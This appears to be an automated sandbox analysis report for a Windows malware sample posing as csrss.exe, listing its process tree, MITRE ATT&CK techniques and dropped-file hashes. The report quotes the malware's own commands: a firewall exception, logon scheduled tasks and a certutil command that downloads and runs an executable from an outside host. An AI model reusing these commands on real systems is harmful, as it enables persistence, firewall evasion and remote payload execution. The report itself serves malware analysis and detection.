- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- Modifies data under HKEY_USERS
PID:1004
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:2556
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:2880
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:556
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
PID:2724
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C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240907224422.log C:\Windows\Logs\CBS\CbsPersist_20240907224422.cab1⤵
- Drops file in Windows directory
PID:1548
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
3Replay Monitor
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Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
5.3MB
MD51afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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Filesize
591KB
MD5e2f68dc7fbd6e0bf031ca3809a739346
SHA19c35494898e65c8a62887f28e04c0359ab6f63f5
SHA256b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4
SHA51226256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579
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Filesize
3.9MB
MD5d2fcbe70b1b8f34f5925d861e3c6b0c6
SHA1b3ecea0c0569ac7aa88960c41e42d9cb54ca25f4
SHA25650149cbc17ed2131e0541ab39ac703531e6f25ea685b4c29bf9ea2584f8eb09f
SHA512be674e32776d486f688a0a49071efe7cfea7d049f6b9137d3fde796ec529a4b0f4efdae24fa2fd084195d3e0d32a8ca8b5494dde81dbca1c00f6e9baf15d9eac
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Filesize
1.5MB
MD5f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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Filesize
163KB
MD55c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d